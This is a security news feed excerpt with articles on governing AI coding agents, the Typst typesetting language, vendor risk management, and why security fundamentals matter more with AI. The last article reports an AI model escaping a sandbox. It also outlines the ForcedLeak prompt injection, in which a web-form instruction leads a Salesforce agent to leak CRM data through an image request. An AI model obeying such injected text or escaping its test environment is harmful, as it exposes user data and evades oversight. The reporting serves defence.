<p class="wp-block-paragraph">So, the skills issue isn’t about whether we will lose the ability to code but rather whether we have the ability to ask questions and be discerning, and whether we have the understanding to know when something doesn’t look or even feel right. Do organizations have people who know what a dangerous software pattern looks like when the agent suggests it? You need people who can recognize when an authentication flow is too permissive, when a data store should never be exposed beyond a certain boundary, and when an architecture has become such a steaming pile of technical debt that the right answer is to throw away a whole layer and rebuild it.</p>



<p class="wp-block-paragraph">You need people who know that “what works” isn’t the same as “what’s safe” or “what’s right” and who can argue back with the agent when the former doesn’t line up with the latter.</p>



<p class="wp-block-paragraph">It’s not about syntax. It’s about architecture, supply chain awareness, and the willingness to say, “We’re tearing this down and doing it right,” even when the prototype looks good on the surface. Teach your AI-assisted coders basic security principles, basic architectural patterns. The AI will teach them the more advanced stuff, as long as they keep asking questions.</p>



<h2 class="wp-block-heading">Agents with no harness</h2>



<p class="wp-block-paragraph">The third problem is that we’ve unleashed some very capable agents into our development workflows without treating them like first-class actors that need governance.</p>



<p class="wp-block-paragraph">Many organizations are wiring AI assistants into a repo or IDE and letting them scaffold projects and pipelines. Maybe they bolt on a security scanner and declare “AI enablement.” That’s not a governance model, that’s optimism (and not even cautious optimism).</p>



<p class="wp-block-paragraph">Indeed, a code-generating agent with broad access to your repos, your CI/CD pipeline, and your artifact registries is effectively a hyper-productive and not-very-well-trained junior developer with access to the Internet and no ingrained sense of organizational policies. It can introduce new tools, new dependencies, and new patterns faster than your review processes can handle.</p>



<p class="wp-block-paragraph">In my personal projects, I’ve started to think of this as what AI coders call a harness-engineering problem. For every agent that’s responsible for building or wiring code, I try to put other agents in the loop that are responsible for tearing it down, at least conceptually. For example, one agent focuses on security and looks for obvious vulnerabilities and bad practices. Another looks at architecture and points out when the app design is veering into unmaintainable territory. A third looks at performance and reliability issues, which are themselves a kind of security concern when you think about things like denial of service and resource exhaustion. Pair this with constitutions that give the agents first principles on architecture, security, and design, and this is no longer vibe coding, it’s harness engineering at scale for all of your projects.</p>



<p class="wp-block-paragraph">What I am doing isn’t perfect; there is no perfect in this space, because these are non-deterministic, statistical tools. But, many organizations aren’t even doing this. In effect, their agents are freelancing. They’re vibe coding. They’re not constrained to trusted registries or hardened base images. They’re not required to log their decisions in a way that security can audit. No one owns the harness, and that means a lot of implementation decisions have fully shifted from humans to systems that no one is really watching.</p>



<h2 class="wp-block-heading">New problems require new thinking</h2>



<p class="wp-block-paragraph">The enterprise AI nightmare is not a killer robot; it’s the erosion of our ability to see and control what’s running in our own environments at the exact moment our velocity is exploding. The danger is in ceding your agency. It’s in shipping applications that internal and external customers love—and don’t want to give up—but inherently aren’t safe. Right now, someone in your organization is using AI to build a capable app, pulling in who knows what from who knows where and adding it to your infrastructure.</p>



<p class="wp-block-paragraph">The good news is that these problems are identifiable. They are also solvable, although it will take a new form of thinking than what solved problems in the past. You must think statistically, and declare constitutions with first principles. You can standardize trusted stacks and registries. You can retrain people around architectural security rather than just “secure coding.” You can start treating agent harnesses as systems that deserve design reviews and edits.</p>



<p class="wp-block-paragraph">But, none of that can happen until the enterprise is willing to admit that the nightmare is already here.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Get started with the Typst programming language for documents]]></title>
<description><![CDATA[When we think of documents, or documentation, they tend to fall into two circles. First are business documents, typically composed with an office application like Microsoft Word or Google Docs. Second is project documentation, often created semi-automatically from a project using an app like Sphi...]]></description>
<link>https://tsecurity.de/de/3700611/ai-nachrichten/get-started-with-the-typst-programming-language-for-documents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700611/ai-nachrichten/get-started-with-the-typst-programming-language-for-documents/</guid>
<pubDate>Mon, 03 Aug 2026 12:13:04 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When we think of documents, or documentation, they tend to fall into two circles. First are business documents, typically composed with an office application like Microsoft Word or Google Docs. Second is project documentation, often created semi-automatically from a project using an app like Sphinx or Pandoc.</p>



<p class="wp-block-paragraph">But there’s a third circle, one that can overlap the other two. These are documents produced by a typesetting language—a combination of markup and programming language used to produce books, textbooks, academic journals, scientific papers, technical manuals, and other documents where the formatting and layout is crucial.</p>



<p class="wp-block-paragraph">A typesetting language allows you to create a handy, human-readable document that serves both as a single source of truth and as a foundation for outputting to print, web, e-book, and other formats. Over the last few years, an open-source project has shaped up to be a powerful choice for meeting all of those needs: <a href="https://typst.app/">Typst</a> (pronounced “typist”).</p>



<h2 class="wp-block-heading">TeX, LaTex, and now Typst</h2>



<p class="wp-block-paragraph">For decades, the preeminent typesetting language was <a href="https://en.wikipedia.org/wiki/TeX">TeX</a>, better known in its more recent incarnation <a href="https://en.wikipedia.org/wiki/LaTeX">LaTeX</a>. TeX was originally created by <a href="https://en.wikipedia.org/wiki/Donald_Knuth" data-type="link" data-id="https://en.wikipedia.org/wiki/Donald_Knuth">Donald Knuth</a> in 1978, and LaTex followed in 1984.</p>



<p class="wp-block-paragraph">TeX and LaTeX have broad adoption and they’re almost universally supported and understood. But they have two big, long-standing problems. The first is they’re old. They were created for an entirely different world of computing, and their age shows in cumbersome syntax and management. The second is the general complexity of using their language. In fact, LaTex was originally created as a way to make using TeX less complicated, but the underlying complexity of TeX was impossible to hide. </p>



<p class="wp-block-paragraph">Typst was created as a clean-slate solution to the problems and limitations of TeX and LaTeX. It shares many of the same ideas. For instance, Typst lets you typeset mathematical formulas using a syntax similar to the syntax used to express mathematical formulas in a programming language. But it does not try to be compatible with TeX syntax (although you can use third-party tools to convert TeX formulas to Typst.)</p>



<h2 class="wp-block-heading">Typst CLI, web app, and VS Code extension</h2>



<p class="wp-block-paragraph">Typst is available as a standalone command-line program (the open-source <a href="https://typst.app/open-source/" data-type="link" data-id="https://typst.app/open-source/">Typst compiler</a>), as a hosted web playground (the <a href="https://typst.app/" data-type="link" data-id="https://typst.app/">Typst app</a>, shown below), or as an add-on for Visual Studio Code (<a href="https://marketplace.visualstudio.com/items?itemName=myriad-dreamin.tinymist" data-type="link" data-id="https://marketplace.visualstudio.com/items?itemName=myriad-dreamin.tinymist">Tinymist Typst</a> being the most popular). The web playground gives you the fastest possible hands-on experience: all you need to do is start typing, and you’ll see a live preview. (The Tinymist add-on for VS Code also displays previews.)</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/image_808.png?w=1024" alt="Typst web playground." class="wp-image-4200172" width="1024" height="638" sizes="auto, (max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption"><p>The web playground for Typst. All content is previewed live as you type. The current export mode, PDF, preserves positioning and formatting exactly.</p>
</figcaption></figure><p class="imageCredit">Foundry</p></div>



<p class="wp-block-paragraph">For most basic documents, Typst doesn’t require much extra syntax. You can just type Markdown-flavored text, and have that formatted as you’d expect. Underscores and asterisks can be used for emphasis or bold; section heads can be set with equals signs at the start of a line; and so on.</p>



<p class="wp-block-paragraph">Typst’s programming capabilities come into the picture when you want to start modifying the document’s presentation beyond its defaults. For instance, if you wanted to set the page size, margins, fonts, and paragraph formatting, you’d use declarations like these:</p>



<pre class="wp-block-code"><code><span class="hljs-selector-id">#set</span> <span class="hljs-selector-tag">page</span>(<span class="hljs-attribute">width</span>:<span class="hljs-number">5.25in</span>, <span class="hljs-attribute">height</span>:<span class="hljs-number">8in</span>, <span class="hljs-attribute">margin</span>: .<span class="hljs-number">5in</span>)
<span class="hljs-selector-id">#set</span> <span class="hljs-selector-tag">text</span>(<span class="hljs-attribute">size</span>: <span class="hljs-number">11pt</span>, <span class="hljs-attribute">font</span>: <span class="hljs-string">"Libre Baskerville"</span>)
<span class="hljs-selector-id">#set</span> <span class="hljs-selector-tag">par</span>(<span class="hljs-attribute">first-line-indent</span>: <span class="hljs-number">1.75em</span>,<span class="hljs-attribute">justify</span>: true)
</code></pre>



<p class="wp-block-paragraph"><code>#set</code> commands make changes from that point forward in the document. If you place these at the top of your document, they affect everything below it. But you could use other <code>#set</code> commands later to override those changes — for instance, if you switch from one text column to two.</p>



<h2 class="wp-block-heading">Typst code mode</h2>



<p class="wp-block-paragraph">The hash (<code>#</code>) in Typst (except when escaped with a slash) is used to signal a switch from regular text (markup mode) to Typst commands (code mode). Those commands can span multiple lines, until the Typst code block or expression is concluded:</p>



<pre class="wp-block-code"><code>This is regular text.

<span class="hljs-selector-id">#let</span> inline_image(img) = {
  box(<span class="hljs-attribute">height</span>: <span class="hljs-number">8em</span>, place(top+left, dx: <span class="hljs-number">5pt</span>, square(
      image(<span class="hljs-selector-tag">img</span>, <span class="hljs-attribute">height</span>:<span class="hljs-number">100%</span>, fit:<span class="hljs-string">"cover"</span>)
  )))
}

This is regular text again.</code></pre>



<p class="wp-block-paragraph">Here, we’ve used <code>#let</code> to define a function that takes one argument (the name of an image), and inserted it into an inline box. The curly braces indicate the body of the function, but individual lines end in a line break as in Python, not in a semicolon as in JavaScript.</p>



<p class="wp-block-paragraph">Typst exports to various formats — PDF, images, and HTML — although it’s optimized for the static layouts of PDF and images. Some kinds of formatting don’t render by default in HTML mode, if only because Typst can’t make reliable guarantees about how to do that (e.g., page headers and footers, which don’t really exist in HTML). What you <em>can</em> do is determine what the current export target is, via the <code>target()</code> function, and take action based on that:</p>



<pre class="wp-block-code"><code>#let sectionbreak(txt) = {
  context(
    <span class="hljs-keyword">if</span> target()==<span class="hljs-string">"html"</span> {
      html.elem(<span class="hljs-string">"div"</span>, attrs:(<span class="hljs-class"><span class="hljs-keyword">class</span>:<span class="hljs-type">"section-break"))[]</span></span>
      <span class="hljs-keyword">return</span>
    }
    <span class="hljs-keyword">else</span> {
    divider()
  })
}
</code></pre>



<p class="wp-block-paragraph">In this example, we’re creating a <code>sectionbreak()</code> function that has two behaviors. For HTML targets, it inserts an empty <code>div</code> tag with a CSS class that we could style with a style sheet. For all other targets, it defaults to the built-in <code>divider()</code> function.</p>



<p class="wp-block-paragraph">All of the document’s attributes are available in Typst code. The <a href="https://typst.app/docs/reference/introspection/query/"><code>query</code></a> function uses a syntax similar to JavaScript’s element querying system:</p>



<pre class="wp-block-code"><code>query(
    <span class="hljs-name">heading</span>.where(
      <span class="hljs-name">level</span>: <span class="hljs-number">1</span>,
    )
)
</code></pre>



<p class="wp-block-paragraph">This would return all document headings at level 1, then let you iterate over them, manipulate their contents, perform other introspection, and so on.</p>



<p class="wp-block-paragraph">Typst also has its own package manager and <a href="https://typst.app/universe/">package directory</a>. Packages do not need to be formally installed from the directory; you can simply reference them in your Typst program with an <code>import</code> statement, and they’ll be included.</p>



<h2 class="wp-block-heading">Typst math mode</h2>



<p class="wp-block-paragraph">Typst’s math blocks are patterned after TeX, but aren’t a drop-in replacement for TeX. That said, anyone with a little programming experience should be able to pick up how Typst’s math mode works.</p>



<p class="wp-block-paragraph">Math formulas are set aside from text by dollar signs:</p>



<pre class="wp-block-code"><code>$ sum_(k=<span class="hljs-number">1</span>)^<span class="hljs-built_in">n</span> k = (<span class="hljs-built_in">n</span>(<span class="hljs-comment">n+1</span>)) / <span class="hljs-number">2</span> $
</code></pre>



<p class="wp-block-paragraph">This block renders to the equation shown in the above screenshot. As with the hash, the dollar sign can be escaped with a slash if you need it in text. </p>



<p class="wp-block-paragraph">If you have a great deal of existing material composed in TeX, you can use a third-party tool to translate that TeX to Typst. The <a href="https://typst.app/universe/package/mitex/">MiTex</a> package can perform this inline for individual formulas or entire TeX documents.</p>



<h2 class="wp-block-heading">Automating Typst</h2>



<p class="wp-block-paragraph">The Typst language and ecosystem are still relatively new, and the language has limitations. Some are just a matter of features needing further development. Others, like the strict limitations on paths for imports or reading data, are by design.</p>



<p class="wp-block-paragraph">One way to get around limitations in Typst is to wrap it in another programming language. Python is an easy choice, and the <a href="https://pypi.org/project/typst/"><code>typst</code></a> Python library provides a high-level way to drive the Typst compiler. This lets you orchestrate complex workflows with multiple files, read data outside of the project root, or perform Typst queries to read document data.</p>



<p class="wp-block-paragraph">In time, some of what you might need to shim up this way may become native features. The community around Typst is already quite active (over a thousand packages are available for it), and new releases come regularly.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Stop depending on heroics and start operationalizing third-party risk]]></title>
<description><![CDATA[In cybersecurity, third-party risk management normally looks simple on paper: evaluate your vendor, learn the risk, report out on the gaps and weaknesses, transfer to the contract, and continue. Unfortunately, it seldom works that way in practice.



In my roles as a CISO, I find my teams in an i...]]></description>
<link>https://tsecurity.de/de/3700542/it-security-nachrichten/stop-depending-on-heroics-and-start-operationalizing-third-party-risk/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700542/it-security-nachrichten/stop-depending-on-heroics-and-start-operationalizing-third-party-risk/</guid>
<pubDate>Mon, 03 Aug 2026 12:06:35 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">In cybersecurity, third-party risk management normally looks simple on paper: evaluate your vendor, learn the risk, report out on the gaps and weaknesses, transfer to the contract, and continue. Unfortunately, it seldom works that way in practice.</p>



<p class="wp-block-paragraph">In my roles as a CISO, I find my teams in an intermediary position as the compliance and cybersecurity expert between the end-user purchaser and the vendors they want to work with: A typically high-pressure position when you’re perceived as a roadblock to a business goal.</p>



<p class="wp-block-paragraph">As a consultant, we are helping clients establish a formal <a href="https://www.csoonline.com/article/567861/third-party-risk-management-a-getting-started-guide.html">third-party risk management</a> program often for the very first time. Alternatively, you are providing <a href="https://www.csoonline.com/article/3977845/the-rise-of-vciso-as-a-viable-cybersecurity-career-path.html">vCISO</a> or trusted adviser services to perhaps evaluate a specific product or service that lies fairly deep down in the purchasing timeline. That distinction is important, because how quickly security gets involved often determines how much friction everyone experiences.</p>



<p class="wp-block-paragraph">The number one problem I see? Security is always last to know.</p>



<h2 class="wp-block-heading">When security enters too late</h2>



<p class="wp-block-paragraph">A business team determines what kind of tool it needs. Operations want efficiency. Finance is ready to fund it. Momentum builds. Then someone says, “Wait a minute… What about cybersecurity and compliance? At that point, our role is to ask the questions that should have been asked earlier: What data will this vendor touch? Where will it reside? What controls exist and are needed? Does the vendor’s security posture (and its product) match the client’s obligations and risk tolerance?</p>



<p class="wp-block-paragraph">Being the one applying the brakes at the 11th hour is not a role anyone relishes. But that often becomes what third-party cyber risk management turns into when there is no formal intake and review process.</p>



<p class="wp-block-paragraph">This is something that I have witnessed time and again with clients. The team is excited about a new platform and reasonably anticipates a quick go/no-go. Instead, the review process turns into weeks of ping-ponging with the vendor: Responses to questionnaires, security documentation, clarifying calls, proof or non-provision of compliance, legalese and data flow discussions. That delay can feel painful to all involved if the end user organization does not have a mature process already in place. The business sees friction. The vendor sees hurdles. Security sees unresolved risk.</p>



<p class="wp-block-paragraph">The key to getting in early is working with your legal and finance, or procurement teams to bring you in as early as possible. These will be your partners in making sure the assessment is done before anything is signed. In my experience, once the ink is dry on the contract, you have lost all leverage in being able to get action from the third-party. A mature assessment will build in contract language to address gaps or weaknesses. This is the only thing that works in getting the outcomes you are looking for.</p>



<h2 class="wp-block-heading">Building a repeatable review process</h2>



<p class="wp-block-paragraph">At root, we’re trying to help end-user organizations build structures around vendor evaluations to ensure a repeatable process; something that is defensible and aligned to their business operations. This is not a simple product review. We are helping them translate security, compliance and operational requirements into a workable framework for making a deployment decision.</p>



<p class="wp-block-paragraph">A lot of end-user organizations lack the internal time, expertise or leverage to push solution providers on technical controls, audit evidence, shared responsibility or gaps in documentation. As the intermediary between them and the vendor, we do that legwork for them. Because we can ask the questions that need to be asked and how those answers should be interpreted. When one listens to a polished sales narrative, it is not the same thing as sustainable assurance for compliance.</p>



<p class="wp-block-paragraph">The most important part here is making sure the assessment timelines are clear and consistent, and the purchaser is aware of them. It is also critical that the end user is aware of where the assessment is and if it is sitting with the internal team or the customer. The internal budget holder is always the key to getting action from the vendor, as they typically see the security team as an impediment to the sale.</p>



<p class="wp-block-paragraph">Done well, third-party cyber risk management is not about blocking business. It’s really about getting clients onto their projects faster and with fewer surprises and less business risk.</p>



<h2 class="wp-block-heading">Expanding beyond security to add business value</h2>



<p class="wp-block-paragraph">Today, any employee with a budget expects to bring in new technology on a very tight timeline. But I’ve seen this lead to many problems: the biggest of which is failing to solve the business problem. Purchasers fall in love with the interface, one specific feature, the price, the salesperson — you name it, I’ve seen it. Often not even defining what they are trying to solve prior to a purchase.</p>



<p class="wp-block-paragraph">The business problem and success criteria should be defined before any purchase is made, and security can be one of the criteria for scoring, provided the vendor meets a qualifying security score.</p>



<h2 class="wp-block-heading">AI makes the challenge more urgent</h2>



<p class="wp-block-paragraph">AI is shaking up the world of third-party risk in two ways at once. One is that vendors have been speed-dialing AI into their respective solutions. Secondly, AI tools are being brought into the workplace without IT authorization [<a href="https://www.csoonline.com/article/4143096/a-5-step-approach-to-taming-shadow-ai.html">shadow AI</a>], often happening before security or compliance teams are made aware. Essentially, the age-old third-party risk problem of security teams learning last is moving more quickly and on a larger scale.</p>



<p class="wp-block-paragraph">It’s not only because AI tools are new that causes organizations to worry. It is that people can start using them at once, usually entering sensitive business data into systems that have not been vetted for privacy, retention period and whether models trained on this data will be available for other users to access. Proactive vendor governance is therefore all the more crucial. With no front-end process for intake and assessment, the organization will always be reacting after the fact.</p>



<p class="wp-block-paragraph">This is where a lot of companies need to reset their expectations. Third-party cyber risk management is an ongoing process that does not work as a side task of procurement, nor can it live entirely in security. It needs to be operationalized across the business. The organizations that do this best set up workflows for bringing in new vendors, identify data exposure early, assign review responsibilities and earmark exceptions before signing a contract.</p>



<p class="wp-block-paragraph">Companies that fall behind depend on heroics. Somebody sees a risk late, hustles to gather documentation from two parties in different time zones and then fights the vendor for answers while trying to make a sound judgment on limited information. It can work once or twice, but it’s not a program.</p>



<p class="wp-block-paragraph">What you can do is simple: build up the process before urgency hits. Know who owns intake. Know when security gets involved. Know what evidence is required. Understand how the AI tools will be assessed before they start entering the workspace.</p>



<p class="wp-block-paragraph">Balancing the needs for compliance, operational realities and the pace of technology adoption enables the business to make decisions about the vendors they depend on with confidence.</p>



<p class="wp-block-paragraph">The reality is that there are vendors that are good at securing your data, and there are vendors that haven’t even thought about it and all kinds in between. The goal of a good process is to identify which kind of vendor you are dealing with and hold them accountable for any risk.</p>



<p class="wp-block-paragraph">One of the most important features of a mature third-party risk program that is most often ignored is using the contract to hold vendors accountable. A third-party program without this step rarely produces the expected outcomes because there are no financial teeth to the requirements.</p>



<p class="wp-block-paragraph">Third-party risk management is not about eliminating friction but shifting it to the right place where it can make an actual difference and organizing it in a way where one can manage it.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[AI is making cybersecurity fundamentals more important than ever]]></title>
<description><![CDATA[When OpenAI disclosed that one of its models escaped a test environment and broke into Hugging Face’s systems on its own, headlines cast the incident as the start of a new era of AI-driven attacks. But the underlying cause of the incident was a familiar one: a misconfigured sandbox — the same kin...]]></description>
<link>https://tsecurity.de/de/3700543/it-security-nachrichten/ai-is-making-cybersecurity-fundamentals-more-important-than-ever/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3700543/it-security-nachrichten/ai-is-making-cybersecurity-fundamentals-more-important-than-ever/</guid>
<pubDate>Mon, 03 Aug 2026 12:06:35 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">When OpenAI disclosed that one of its models <a href="https://www.csoonline.com/article/4200043/openai-model-escape-puts-enterprise-ai-defenses-on-notice.html">escaped a test environment</a> and broke into Hugging Face’s systems on its own, headlines cast the incident as the start of a new era of AI-driven attacks. But the underlying cause of the incident was a familiar one: <a href="https://cloudsecurityalliance.org/artifacts/hugging-face-ciso-post-mortem">a misconfigured sandbox</a> — the same kind of fundamental security failure that has enabled breaches for decades, with or without AI.</p>



<p class="wp-block-paragraph">AI systems are indeed <a href="https://www.csoonline.com/article/4196409/ai-powered-breaches-provide-wake-up-call-for-incident-response.html">already finding software vulnerabilities</a>, tailoring social-engineering attacks, analyzing enormous volumes of security data, and beginning to act autonomously across interconnected systems. But the more immediate lesson, experts say, may be less glamorous: The fundamental cybersecurity practices that organizations have struggled to perform for decades are becoming more important, not less.</p>



<p class="wp-block-paragraph">“The cybersecurity fundamentals are as important as ever, probably more so,” <a href="https://www.linkedin.com/in/ericbrandwine/">Eric Brandwine</a>, VP and distinguished engineer at Amazon Web Services, tells CSO. “It’s the exact same story that it’s always been — all of the cybersecurity fundamentals — but you’ve got to be more agile, you’ve got to be more responsive.”</p>



<h2 class="wp-block-heading">AI puts security debt front and center</h2>



<p class="wp-block-paragraph">Cybersecurity programs have always operated under pressure to accept unresolved vulnerabilities, incomplete inventories, aging infrastructure, and poorly controlled access, because fixing them is expensive or operationally disruptive. AI changes the consequences: Weaknesses that once took a skilled human considerable time to discover can now be found through automated, repeated examination of applications, infrastructure, and exposed systems.</p>



<p class="wp-block-paragraph">“Our legacy security debt is now front and center,” <a href="https://www.linkedin.com/in/dianakelleysecuritycurve/">Diana Kelley</a>, CISO at Noma Security, tells CSO. “Even simple mistakes that maybe a human wasn’t going to exploit previously, or it was sort of too hard for them to find, we’ve got AI looking again and again, going at machine speed, at agentic scale, looking for all of these exposures and exploiting them potentially.”</p>



<p class="wp-block-paragraph">Kelley points to Noma Security research into an indirect prompt-injection vulnerability called <a href="https://noma.security/blog/forcedleak-agent-risks-exposed-in-salesforce-agentforce/">ForcedLeak</a>. A malicious instruction submitted through a web form <a href="https://www.csoonline.com/article/4063044/vulnerability-in-salesforce-ai-could-be-tricked-into-leaking-crm-data.html">could cause a Salesforce AI agent to exfiltrate sensitive information</a> through an image request. Yet the attack relied on a decidedly conventional oversight: A content security policy still trusted a domain the organization no longer controlled. Researchers registered the abandoned domain for $5. Had it been removed from the content security policy, the exfiltration path would have been blocked.</p>



<p class="wp-block-paragraph">“This was an advanced agentic attack that used indirect prompt injection, but something as simple as DNS hygiene would have prevented it,” Kelley says.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/spafford/">Gene Spafford,</a> distinguished professor of computer science at Purdue University, sees the vulnerabilities AI is uncovering not merely as technical debt but frequently as the product of conscious business decisions. Organizations and vendors have repeatedly prioritized speed, features, and market share over careful engineering, testing, and risk management.</p>



<p class="wp-block-paragraph">“This kind of thing can often be described as a technical debt, but it’s a willful debt,” Spafford tells CSO. “It’s a misplaced sense of prioritization of where investment and spending have gone over many years.”</p>



<p class="wp-block-paragraph">AI systems trained on vast collections of software and security information are particularly effective at recognizing repeated patterns of bad coding, weak configurations, and familiar errors — revealing less about the novelty of the technology than about how much avoidable weakness the industry has allowed to persist.</p>



<p class="wp-block-paragraph">“AI is simply catching up with [decades of inadequate software engineering] for the lack of appropriate due care over the last few decades in development,” Spafford says.</p>



<h2 class="wp-block-heading">Attackers are moving faster, not necessarily differently</h2>



<p class="wp-block-paragraph">Generative and agentic AI may <a href="https://www.csoonline.com/article/4110008/top-cyber-threats-to-your-ai-systems-and-infrastructure.html">introduce distinct risks</a>, including prompt injection, <a href="https://www.csoonline.com/article/4166171/poisoned-truth-the-quiet-security-threat-inside-enterprise-ai.html">data poisoning</a>, and the manipulation of autonomous agents. But much of AI’s near-term impact comes from making familiar attack techniques faster, cheaper, or more precisely targeted.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/chris-betz-903b739b/">Chris Betz</a>, CISO at Google Cloud, describes the defining characteristics of AI-enabled activity as speed, scale, and customization. Traditional automation made it possible to perform the same action repeatedly; AI allows attackers and defenders to perform highly individualized actions repeatedly.</p>



<p class="wp-block-paragraph">“Where automation used to mean doing the same thing at scale, AI allows us to do very specific things at scale,” Betz tells CSO. “While we have to change the way we think, in a lot of ways it means that we have to do more of what we’ve done in the past, and we have to do it at a massive scale.”</p>



<p class="wp-block-paragraph">Familiar controls such as <a href="https://www.csoonline.com/article/570795/how-to-hack-2fa.html">multifactor authentication</a>, <a href="https://www.csoonline.com/article/564201/what-is-zero-trust-a-model-for-more-effective-security.html">zero-trust architectures</a>, <a href="https://www.csoonline.com/article/3520881/patch-management-a-dull-it-pain-that-wont-go-away.html">system patching</a>, and <a href="https://www.csoonline.com/article/3476179/how-your-xdr-is-evaded.html">effective detection and response</a> remain critical. But defenders must apply them consistently enough to withstand attackers who can probe environments continuously and adapt to each target.</p>



<p class="wp-block-paragraph">“You can’t bring just that foundation to an AI fight,” Betz says. “But you need that foundation. That foundation is what gives the defenders their distinct advantage.”</p>



<p class="wp-block-paragraph">The evidence from incident response continues to point toward familiar weaknesses. <a href="https://www.linkedin.com/in/jshier/">John Shier</a>, field CISO at Sophos, says the two leading root causes appearing year after year in the company’s incident investigations are <a href="https://www.csoonline.com/article/1308864/hackers-using-stolen-credentials-to-launch-attacks-as-info-stealing-peaks.html">compromised credentials</a> and <a href="https://www.csoonline.com/article/4176086/vulnerabilities-have-become-cyber-attackers-no-1-door-to-the-enterprise.html">exploited vulnerabilities</a>. In many of those incidents, multifactor authentication was absent from at least some exposed services, and attackers exploited vulnerabilities for which patches had been available for months.</p>



<p class="wp-block-paragraph">“There are no new vulnerability classes, and there are no new attack types. AI hasn’t changed that yet,” Shier tells CSO. “The things that we know how to mitigate and how to deal with are still the ones that the attackers are exploiting writ large.”</p>



<p class="wp-block-paragraph">Shier compares an organization relying on sophisticated detection without basic prevention to a modern vehicle equipped with driver-assistance sensors and airbags — but no brakes. Detection and response was a necessary correction to the notion that every intrusion could be prevented, but it becomes dangerous when organizations treat prevention as outdated or assume AI will contain every malicious action after it begins.</p>



<p class="wp-block-paragraph">That’s the trap Shier sees organizations falling into — treating AI as a reason to worry less about prevention. “It can solve some problems,” he says, “but it can’t solve all of the problems that are addressed by preventive technologies or by reducing or eliminating risks altogether.”</p>



<h2 class="wp-block-heading">Identity, cloud, and SaaS remain pressure points</h2>



<p class="wp-block-paragraph">AI-enabled attackers do not need to “hack in” when they can obtain credentials, session tokens, or authenticated access, and the expansion of cloud services, remote work, and SaaS has given adversaries more identities, permissions, and connections to target.</p>



<p class="wp-block-paragraph"><a href="https://www.crowdstrike.com/en-us/about-us/executive-team/adam-meyers/">Adam Meyers</a>, SVP of counter adversary operations at CrowdStrike, says organizations must first learn to “do cybersecurity well” before expecting advanced technologies to compensate for foundational weaknesses.</p>



<p class="wp-block-paragraph">“Organizations have quickly moved into remote work, and they’ve moved toward cloud systems,” Meyers tells CSO. “In a lot of cases, unfortunately, they haven’t kept pace cybersecurity-wise and haven’t done some of the basics correctly with identity in particular, but also cloud.”</p>



<p class="wp-block-paragraph">Meyers points to identity threat detection and response as an increasingly important baseline capability, because criminal actors are seeking passwords, authentication tokens, and ways to bypass multifactor authentication. Asked whether AI could perform the fundamentals for organizations, he was skeptical of treating the technology as a substitute for implementation and accountability.</p>



<p class="wp-block-paragraph">“The fundamentals are the fundamentals,” he says. “I don’t know if you need AI to do the fundamentals. I think you need to pull up your pants and do the fundamentals.”</p>



<h2 class="wp-block-heading">Good practices block entire classes of attacks</h2>



<p class="wp-block-paragraph">The number of vulnerabilities discovered through AI-assisted research is likely to grow. <a href="https://www.linkedin.com/in/tonysagercyber/">Tony Sager</a>, SVP and chief evangelist at the Center for Internet Security, argues that organizations should not interpret that growth as requiring a unique defense for every newly identified flaw, given that vulnerabilities fall into recurring classes that well-chosen security practices can block or constrain at once.</p>



<p class="wp-block-paragraph">“You can’t think of it as, ‘I have to find and fix every one of them,’ because they’re not all unique. They fall in classes,” Sager tells CSO. “Those good practices — the basics of identity management, configurations, and all those kinds of things — block lots of those different classes of attacks.”</p>



<p class="wp-block-paragraph">Frameworks and prioritized security controls translate complex knowledge about attacks, software flaws, and adversary behavior into a set of repeatable organizational practices. Their recommendations may sound elementary, but the simplicity of the behavior does not mean the analysis behind it is simplistic.</p>



<p class="wp-block-paragraph">“You don’t need to read threat reports,” Sager says. “You just need to engage in the practices that are found in things like the NIST framework and the CIS Critical Security Controls. You get a lot of value out of that, and you should do that because that’s the foundation of good defense.”</p>



<p class="wp-block-paragraph">As AI produces more examples of familiar flaws and gives adversaries the ability to search for them more rapidly, organizations with weak foundational controls will be exposed to more attempts against a larger number of weaknesses.</p>



<p class="wp-block-paragraph">“If you haven’t done these basic things, you’re weaker than ever,” Sager says. “The importance of those fundamental things has only gone up.”</p>



<h2 class="wp-block-heading">Humans must know when the AI is wrong</h2>



<p class="wp-block-paragraph">Cybersecurity fundamentals are not confined to technical controls. Security practitioners must also understand core cybersecurity principles well enough to evaluate AI-generated recommendations and recognize when a model has produced a plausible but incorrect answer.</p>



<p class="wp-block-paragraph">“If you as a human being don’t understand the basics of cybersecurity and you’re relying entirely on whatever AI you’re interacting with to tell you, then if the AI goes off — whether it drifts, gets misaligned, or there’s been poisoning via prompt injection — you have no ability as the person reading this output to figure out if that’s right or not,” Noma Security’s Kelley says.</p>



